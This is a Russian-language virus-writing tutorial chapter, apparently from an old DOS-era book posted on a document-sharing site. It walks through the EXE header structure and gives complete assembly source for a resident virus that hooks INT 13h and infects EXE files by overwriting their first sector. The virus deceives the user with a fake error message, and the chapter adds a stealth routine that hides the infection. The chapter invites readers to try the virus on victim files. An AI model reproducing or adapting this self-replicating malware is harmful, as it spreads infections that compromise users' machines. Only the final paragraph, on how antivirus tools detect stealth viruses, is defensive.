"Вирусы", "Черви", "Драконы" и резиденты на службе прогресса

Вид материалаДокументы

Содержание


"Вирусы", "Черви", "Драконы" и резиденты на службе прогресса.
Pushf ; ¦
Подобный материал:
1   2   3   4   5   6   7   8   9   ...   16

"Вирусы", "Черви", "Драконы" и резиденты на службе прогресса.


Назад | Далее



гл.7 НЕКОТОРЫЙ ПРОГРЕСС (создание ублюдочного резидентного вируса, не гроха-

ющего данные, но поражающего ЕХЕ-файлы избирательно)

ПЕРВОЕ ЗНАКОМСТВО СО СТЭЛС-ВИРУСАМИ (невидимками)

============================================================================


Сразу должны сознаться, - приводимый здесь пример не учитывает тонких

нюансов системы MS-DOS, - он корректно работает лишь если количество DOS-ов-

ских буферов не превышает некоего критического числа (у нас это было 18), в

противном случае PC просто зависает. Позднее мы раскажем об этом подробнее.


Наш первый вирус уничтожал (затирал собою) первый сектор файла, вслед-

ствии чего заражаемая программа превращалась в груду мусора. Но ведь мы сами

сказали, что истинное искусство состоит в том, чтобы вирус был вирусом, но

при этом позволял зараженным программам нормально работать. Можно ли написать

вирус, поражающий ЕХЕ-файлы по тому-же механизму, что и предыдущий (для крат-

кости будем впредь называть наш первый вирус V1), но позволяющий им нормально

выполняться? Да. Для некоторых ЕХЕ-файлов это возможно. При этом мы по-преж-

нему будем заменять 1-ый сектор файла, не изменяя т.о. его длины. Но как?

Все дело в уже упомянутом нами заголовке ЕХЕ-файла, располагающемся в

его начале и начинающемся с "MZ". Этот заголовок имеет определенную структу-

ру. Иногда в нем имеется куча пустого места, где и может спрятаться вирус.

Для написания вируса, который будет прятаться в заголовке нам надо поз-

накомиться со структурой последнего.

Зачем вообще ЕХЕ-файлам заголовки? СОМ-файлы прекрасно без них обходят-

ся. Дело в том, что СОМ-файлы могут иметь размер не более 65535 байт (1 мак-

симальный сегмент). А если Вы хотите создать модуль бОльшего размера (это мо-

жет быть льшь ЕХЕ-файл), -- извольте попотеть!

ПОДРОБНЕЕ: и код и данные СОМ-файла адресуется лишь одним сегментным ре-

гистром CS и счетчиком IP. Перед началом выполнения программы CS устанавлива-

ется равным PSP, а IP = 100 . Регистр стека SS в этом случае автоматически

устанавливается = CS, а регистр SP == SS+65535 (поэтому, кстати, в СОМ-файлах

сам исполняемый код вместе с данныыми, хранимыми в сегменте кода, должены

быть менее 65535 -- нужно оставить место под стек). В случае ЕХЕ-файла, (не-

важно -- бОльшего чем 65535, или нет) регистры CS,SS,IP,SP не определяются

автоматически, как для СОМ-файла.

ЕХЕ- и СОМ-программы запускает на выполнение специальная программа-заг-

рузчик, вызываемая прерыванием 21h (функция 4Bh). Именно такое прерывание

сгенерится если Вы стартанете скажем TETRIS.COM или TETRIS.ЕХЕ. Если эта

программа-загрузчик обрабатывает СОМ-файл, она априори имеет всю информацию о

том, что надо сделать (CS=PSP; IP=100; SS=CS; SP=SS+65535; адресацию некото-

рых объектов, зависящую от места загрузки программы в память (так называемые

настраиваемые элементы) корректировать не надо, - поскольку таковых здесь во-

обще нет). А в случае ЕХЕ-файла -- программа-загрузчик обязана инициализиро-

вать регистры CS,SS,IP,SP и корректировать настраиваемые элементы. Откуда же

взять информацию для выполнения этих операций ? Вот для этой цели и придумали

заголовок. В нем эта информация имеется и еще -- многое другое. Когда прог-

рамма-загрузчик готовится к старту ЕХЕ-файла, она берет информацию из заго-

ловка, загружает в ОЗУ содержимое ЕХЕ-файла (при этом корректирует настраива-

емые элементы) и инициализирует SS,SP,CS,IP, передавая управление загруженно-

му модулю. ПРИ ЭТОМ САМ ЗАГОЛОВОК В ОЗУ НЕ ЗАГРУЖАЕТСЯ ! Как программа-заг-

рузчик узнает, что имеет дело с ЕХЕ-файлом? По сигнатуре "MZ" в начале заго-

ловка . Как программа-загрузчик узнает, где кончается заголовок и начинается

исполняемая часть ЕХЕ-файла? Это написано в заголовке.

А если в начале заголовка не будет сигнатуры "MZ"? Тогда программа-заг-

рузчик решит, что имеет дело с СОМ-файлом и попытается выполнить стандартные

действия -- CS=PSP; IP=100; SS=CS; SP=SS+65535. Помните как действовал V1? Он

затирал собою заголовок и превращал ЕХЕ-программу в СОМ-. При этом до выпол-

нения кода пораженного файла дело вообще не доходило, - выполнялся лишь код

вируса, лежащий в 1-ом секторе файла, на месте прежнего заголовка. А если в

этом случае длина файла более 64 Кб (мы заразили большой ЕХЕ-файл, превравив

его в СОМ-) ? Тогда будет выдано сообщение об ошибке: "programm too big to

fit in memory", ибо программа-загрузчик твердо знает, что СОМ-файл имеет дли-

ну не более 64 Кб.

Вот как устроен заголовок ЕХЕ-файла (по данным thelp /4/):


Смещ.Длина Содержимое

========== ===============================================================

--------¬

+0 2 ¦4Dh 5aH¦ "подпись" файла .EXE ('MZ')

+---+---+

+2 2 ¦PartPag¦ длина неполной последней страницы (обычно игнорируется)

+---+---+

+4 2 ¦PageCnt¦ длина образа в 512-байтовых страницах, включая заголовок

+---+---+

+6 2 ¦ReloCnt¦ число элементов в таблице перемещения

+---+---+

+8 2 ¦HdrSize¦ длина заголовка в 16-байтовых параграфах

+---+---+

+0aH 2 ¦MinMem ¦ минимум требуемой памяти за концом программы (параграфы)

+---+---+

+0cH 2 ¦MaxMem ¦ максимум требуемой памяти за концом программы (параграфы)

+---+---+

+0eH 2 ¦ReloSS ¦ сегментное смещение сегмента стека (для установки SS)

+---+---+

+10H 2 ¦ExeSP ¦ значение регистра SP (указателя стека) при запуске

+---+---+

+12H 2 ¦ChkSum ¦ контрольная сумма (отрицательная сумма всех слов в файле)

+---+---+

+14H 2 ¦ExeIP ¦ значение регистра IP (указателя команд) при запуске

+---+---+

+16H 2 ¦ReloCS ¦ сегментное смещение кодового сегмента (для установки CS)

+---+---+

+18H 2 ¦TablOff¦ смещение в файле 1-го элемента перемещения (часто 001cH)

+---+---+

+1aH 2 ¦Overlay¦ номер оверлея (0 для главного модуля)

L---+----

1cH размер форматированной порции заголовка EXE

--------T-------T -- T-------T-------¬ Таблица перемещения. Начало

+ ? 4*? ¦ смещ. сегмент¦... ¦ смещ. сегмент¦ по смещению [EXE+18H]. Имеет

L---+---+---+---+ -- +---+---+---+---- [EXE+6] 4-байтовых элемента.

+ ? ? пропуск до границы параграфа

+ ? ? начало образа программы


Все, что идет в заголовке начиная с адреса 20h и до конца заголовка мо-

жет быть пустым местом, которое мы сможем использовать в своих целях. Начиная

с этого адреса в заголовке хранится таблица перемещения (это адреса настра-

иваемых элементов; подробнее об этом узнАем после), которая может не содер-

жать ни одного элемента. Сделаем однако некоторое допущение, - пусть таблица

перемещения не пуста, но занимает не более 32 (20h) байт (2 параграфа), а все

остальное место - свободно; - т.о. в заголовке занято лишь первые 40h байт. У

многих ЕХЕ-файлов (если заголовок не упакован) именно так и обстоят дела.

Основная идея нашего второго вируса (V2) такая: заражая ЕХЕ-файл, V2 са-

дится в его начало, превращая жертву в СОМ-файл. При первом запуске заражен-

ного файла в память сажается резидент, а сам файл не выполняется. Пользова-

тель наверняка попробует запустить файл заново (чтобы он не насторожился при

первом несрабатывании -- сажающая резидент часть выдаст сообщение об ошибке,

- возникающее очень часто если нажмешь не на ту клавишу и т.п. -- например

"Bad command or file name"). При повторной попытке запуска файла возникший

резидент обнаружит, что загружается на выполнение файл уже зараженный V2, и

прочитает его в ОЗУ, как ЕХЕ-файл.

Совершенно очевидно что для заражения нам сгодится лишь ЕХЕ-файл с заго-

ловком длиной не менее одного сектора (иначе, действуя по предыдущему алго-

ритму, мы грохнем часть исполняемого кода). При этом настроечная информация и

таблица перемещения в сумме должны занимать не более 64 (40h) первых байт.

Нам также необходимо сохранить где-то эти 4 первых параграфа заголовка

(64 байт).

Вот как видится нам структура вируса, внедрившегося в ЕХЕ-файл:


-----------------------------------------------------------¬

¦ рис.7 ¦:

L-----------------------------------------------------------


исходный ЕХЕ-файл зараженный ЕХЕ-файл

(при этом он стал СОМ-файлом)

адрес

--¬ ¦ --¬ <-----------------¬

¦M¦ 00---¬сигна- ¦ ¦ 00---¬ ¦

¦Z¦ +тура (2 байта) -----JMP Short + 2 байта ¦

+-+ ----- ¦ +-+ ----- ¦

¦ ¦ 02 -¬всякие ¦ ¦ ¦ 02 -¬всякие ¦

¦ ¦ +настройки ¦ ¦ ¦ +настройки +первый

¦ ¦ 1F -- ¦ ¦ ¦ 1F -- ¦сектор

+-+ ¦ +-+ ¦файла

¦ ¦ 20 -¬ ¦ ¦ ¦ 20 -¬ ¦(мы ра-

¦ ¦ +таблица ¦ ¦ ¦ +таблица ¦ботаем

¦ ¦ ¦переме- ¦ ¦ ¦ ¦переме- ¦лишь с

¦ ¦ ¦щения ¦ ¦ ¦ ¦щения ¦ним)

¦ ¦ 3F -- ¦ ¦ ¦ 3F -- ¦

+-+ ¦ +-+ ¦

¦ ¦ 40 -¬ L--->¦Х¦ 40 -¬ ¦

¦ ¦ +пустое ¦Х¦ +код ви- ¦

¦ ¦ ¦место ¦Х¦ ¦руса ¦

¦ ¦ 1FF - ¦Х¦ 1FF - ¦

+-+ +-+ <----------------

¦ ¦ 200 ¬пустое-T(если заголовок ¦ ¦ 200 ¬пустое

¦ ¦ +место---длиннее 512 байт) ¦ ¦ +место

¦ ¦ ¦или на ¦ ¦ ¦или на

¦ ¦ ¦чало ¦ ¦ ¦чало

¦ ¦ ¦кода самОй программы ¦ ¦ ¦кода программы


Теперь смотрите внимательно! -- если в зараженном файле вместо первых

двух символов (JMP Short на тело вируса) поставить "MZ", то зараженный файл

вновь станет полноценным ЕХЕ-файлом! Совсем не важно, что место, которое ран-

ше было пустым, теперь занято кодом вируса. Программа-загрузчик вообще игно-

рирует это место.

Теперь вопрос -- а что если сидящий в памяти резидент обнаружил, что

после чтения секторов буфер ввода/вывода начинается с кода вируса и заменил в

буфере первые 2 байта на "MZ"? В этом случае загруженный в ОЗУ файл будет

опознан как ЕХЕ- и выполнен без ошибок. А этот резидент, как уже было сказано

выше, возник при первом запуске пораженного файла (сам файл при этом выполнен

не был).

Вот исходник вируса V2 (коментарии см. ниже):


-----------------------------------------------------------¬

¦ пример 10 ¦:

L-----------------------------------------------------------


TITLE Это - COM. программа N10 - наш второй вирус (файл не гробится)

ASSUME CS:CodeSegment

;-----------------------------------------------------------------------------

CodeSegment SEGMENT PARA

ORG(100h)

Start:

MainProcedure PROC NEAR

;

;

head: JMP Short to_initial ; перепрыгнем через данные

; ; и наш обработчик прер-я 13

; ; на инициализирующую часть

;

header_info DB 62 DUP(0) ; данные (хранилище для

; ; настроек ЕХЕ-заголовка)

;

saved_int13: DD 0 ; данные (хранилище для

; ; адреса стандартного обра-

; ; ботчика прерывания 13 --

; ; -- 2 слова)

; ;

admonition DB 'Bad command or file name$' ; данные (выдача "псевдо-

; ; ошибки" - симуляция DOS)

;

to_initial: JMP initial ; короткий джамп не достал бы

; ; до initial

;

;-----------наша п/п-а обработки прерывания 13-----------------¬

int13_treater:;¦ ; ¦

PUSH AX ; ¦

PUSH BX ; ¦

PUSH ES ; ¦

;- предворительные анализы------------------------------------¬¦

;L-------------------------------------------------------------¦

CMP AH,02 ;файл читается? нет - уходим, ¦

JNE return_int ; возвращая прерыв-е 13 за- ¦

; ; конному владельцу ¦

PUSHF ; ¦

CALL dword ptr CS:[saved_int13] ;чтение под контролем ¦

; ; ¦

CMP word ptr ES:[BX],5A4Dh ;ЕХЕ-файл? ¦

JE take_care_of ; да -- познакомимся поближе ¦

; ; нет - проверим нет ли в чи-¦

; ; таемом секторе самогО вируса

; ; ¦

CMP word ptr ES:[BX+60h],5350h ;-¬ читается сектор(а), содер-¦

JNE no_virus ; +-- жащий(ие) сам вирус? ¦

CMP word ptr ES:[BX+62h],8006h ; ¦5350h,8006h - его сигнатура¦

JNE no_virus ;-- нет -- выходим из прерыв-я¦

MOV word ptr ES:[BX],4D5Ah ; ¦

JMP Short EXE_simul ; да -- симуляция ЕХЕ-файла ¦

; ; ¦

take_care_of: ;-------дополнительная проверка пригодности ЕХЕ-файла:--------¬¦

;L-------------------------------------------------------------¦

CMP word ptr ES:[BX+8],20h ;достаточно ли велик заголо- ¦

JB bad_EXE ; вок? (годится не менее 20h)¦

CMP word ptr ES:[BX+6],08h ;достаточно ли мала relocation¦

JA bad_EXE ; ? (годится не более 8h) ¦

CMP word ptr ES:[BX+4],77h ;достаточно ли мал ЕХЕ-файл? ¦

JA bad_EXE ; (годится не более 77h*512) ¦

; ; ¦

;------репродуктивная часть; (жертва найдена !)---------------¬¦

;L-------------------------------------------------------------¦

PUSH CX ; ¦

PUSH DI ; ¦

PUSH SI ; ¦

landing_craft:MOV CX,3Eh ;в тело вируса копируются на- ¦

MOV DI,OFFSET header_info ; стройки ЕХЕ-заголовка ¦

MOV SI,BX ; (2 параграфа) ¦

send_another: MOV AL,ES:[SI+2] ; ¦

MOV byte ptr CS:[DI],AL ; если здесь применить обычно¦

INC DI ; столь экономичную конструк-¦

INC SI ; цию REP MOVS, то мороки бу-¦

LOOP send_another ; дет больше ¦

POP SI ; ¦

POP DI ; ¦

POP CX ; ¦

; ; ¦

MOV AX,0301h ;производится высадка в зара- ¦

MOV BX,OFFSET head ; жаемый файл ¦

PUSH CS ; ¦

POP ES ; ¦

; ; ¦

return_int: PUSHF ; ¦

CALL dword ptr CS:[saved_int13] ; ¦

; ; ¦

;-эти метки -- чисто для мнемоники; на каждую управление пере-¬¦

;¦дается ПОСЛЕ определенного этапа выполнения ¦¦

;L-------------------------------------------------------------¦

no_virus: ; вирус не нашел ни себя, ни -- пригодного для зараж-я ЕХЕ-файла ¦

EXE_simul: ; вирус нашел себя и симулирует ЕХЕ-файл ¦

bad_EXE: ; вирус разочаровался в ЕХЕ-файле и не стал с ним возиться ¦

POP ES ; ¦

POP BX ; ¦

POP AX ; ¦

IRET ; ¦

;¦ ; ¦

;L--------------------------------------------------------------

;

;------------------инициализирующая часть----------------------¬

;¦ (здесь мы сажаем резидент, переопределяя адреса) ¦

;¦ ; ¦

initial: XOR DX,DX ; ¦

MOV DS,DX ; ¦

MOV AX,DS:[13h*4] ; сохраняем в хранилище ¦

MOV word ptr CS:[saved_int13 ],AX ; int13 адрес стандартного ¦

MOV AX,DS:[13h*4+2] ; обработчика прерывания 13¦

MOV word ptr CS:[saved_int13+2],AX ; ( OFFSET и SEGMENT ) ¦

; ; ¦

CLI ;запрещаем прерывания ¦

MOV AX,OFFSET int13_treater ; ¦

MOV word ptr DS:[13h*4],AX ;кладем в таблицу векторов ¦

PUSH CS ; адрес нашего обработчика ¦

POP AX ; прерывания 13 ¦

MOV word ptr DS:[13h*4+2],AX ; ¦

STI ;разрешаем прерывания ¦

; ; ¦

PUSH CS ;этот фрагмент выводит на ¦

POP DS ; экран ASCII строку "Bad ¦

MOV AH,09 ; command or file name" ¦

MOV DX,OFFSET admonition ;(функция 09 прерывания 21h¦

INT 21h ; DOS; DS:DX-адрес строки) ¦

; ; ¦

MOV DX,OFFSET rezident_end ;DX<--конец резид. части ¦

; ; (а к ней относится ВСЯ ¦

; ; программа) ¦

INT 27h ;закончить программу и ¦

rezident_end: ;¦ ; вернуться в DOS, оставив ¦

;¦ ; резидентной всю программу¦

;L--------------------------------------------------------------

MainProcedure ENDP

;

CodeSegment ENDS

END Start


коментарии:


Что здесь новенького? Во-первых -- мы выводим на экран строку символов

(печатаем 'Bad command or file name'). Это можно сделать при помощи уже зна-

комого нам прерывания 10h (функция 0Eh) -- печатая в цикле отдельные символы.

Но чтобы организовать цикл, нужно много операторов, а мы боремся за экономию

места. Есть выход -- воспользоваться специальной функцией (09) прерывания

21h. Она осуществляет печать ASCII строки заканчивающейся символом "$". В па-

ру регистров DS:DX нужно загрузить адрес ASCII строки, в AH -- 09 и дать пре-

рывание 21h (INT 21h).

Мы анализируем загружаемый ЕХЕ-файл, --CMP word ptr ES:[BX+8],20h

ведь он еще может оказаться непригодным ¦ JB bad_EXE

для заражения. Вот блок-анализатор:----------+ CMP word ptr ES:[BX+6],08h

ES:[BX+8] - длина заголовка ¦ JA bad_EXE

ES:[BX+6] - длина табл. перемещ-я ¦ CMP word ptr ES:[BX+4],77h

ES:[BX+4] - длина файла в секторах L-JA bad_EXE

Мы анализируем загружаемый ЕХЕ-файл, --CMP word ptr ES:[BX+60h],5350h

не заражен ли он уже нами раньше . ¦ JNE no_virus

Вот блок-анализатор:----------+ CMP word ptr ES:[BX+62h],8006h

5350h и 8006h -- коды команд PUSH AX,PUSH BX,L-JNE no_virus

PUSH ES и CMP AH,02 , с которых начинается резидентная часть вируса.

Если вирус опознал себя в читаемом в память файле, то он делает этот

файл ЕХЕ-файлом (команда MOV word ptr ES:[BX],5A4Dh).

Если вирус обнаружил, что на выполнение считывается годный для заражения

ЕХЕ-файл, он записывает себя в его первый сектор. При этом вирус копирует в

свое тело настройки заголовка ЕХЕ-файла так, чтобы они были в тех-же позици-

ях, что и в заголовке.

Все остальные особенности идентичны примеру 9.


Если захотите поэкспериментировать с этим вирусом, - Вы должны найти

подходящий файл-жертву, в заголовке которого есть пустое место и размером не

более 64 Кб. Это может быть ЕХЕ-файл, созданный компилятором Си 2.0, или тем

же TASM-ом. Еще раз напоминаем о зависании PC, если количество буферов DOS

больше 18 (или около того). Могут, вероятно, плохо влиять всякие утилиты, уп-

равляющие распределением памяти. Многие из ЕХЕ-файлов ныне обрабатываются

специальными компрессаторами, удаляющими ненужные пустоты, и поэтому не могут

быть заражены V2.


Но можно сделать еще круче. Наш вирус может стать невидимкой (Stealth).

Для этого нужно, чтобы его резидентная часть не просто превращала при загруз-

ке зараженный файл в ЕХЕ- (в начало буфера ввода/вывода ложится 'MZ'), но и

заполняла место в буфере, где лежит вирус, нулями. Вот фрагмент, который нуж-

но вставить в текст примера 10 между операторами


MOV word ptr ES:[BX],5A4Dh

------------------> и

¦ JMP Short EXE_simul :

¦

¦ -------------------------------------------¬

¦ ¦ PUSH CX ¦

¦ ¦ PUSH DI ¦

L-+ MOV CX,200h-40h ¦

¦ MOV DI,40h ¦

¦mask_another: MOV byte ptr ES:[BX+DI],00 ¦

¦ INC DI ¦

¦ LOOP mask_another ¦

¦ POP DI ¦

¦ POP CX ¦

L-------------------------------------------


Здесь все вроде-бы понятно. При обнаружении считывания вируса с диска

резидент заполняет в буфере ввода весь заголовок (200h байт) кроме области

настроек (первые 40h байт), т.е. место, где сидит вирус, нулями.


Теперь, если Вы попытаетесь просмотреть файл в режиме активного резиден-

та, -- то не обнаружите кода вируса!

Однако, Stealth-вирусы можно легко обнаружить, если воспользоваться спе-

циальными средствами. И в этом случае Stealth-режим будет действовать наобо-

рот -- демаскировать вирус-невидимку. Парадокс! Такие антивирусные программы

как Adinf, могут безошибочно обнаруживать Stealth-вирусы. Как же это возмож-

но? Вы помните, что прерывания обрабатываются специальными системными под-

программами. Наши фокусы возможны благодаря тому, что мы дополняем процесс

обработки прерывания системной подпрограммой нашими оригинальными действиями.

А что если некто (например -- тот же Adinf) воспользуется вышеупомянутой сис-

темной подпрограммой (как и любую подпрограмму ее можно поместить в свой сег-

мент кода) без генерации сигнала прерывания, которое перехвачено Stealth-ви-

русом. А потом -- сделает то же самое действие при помощи прерывания

(Stealth-вирус при этом будет себя маскировать). И после этого сравнит оба

результата. Будет обнаружено различие: при обработке сигнала прерывания

Stealth-вирус себя замаскировал, тогда как при работе подпрограммы Adinf-а

этого не произошло!

Ну вот мы и еще кое-что узнали.

Конец главе.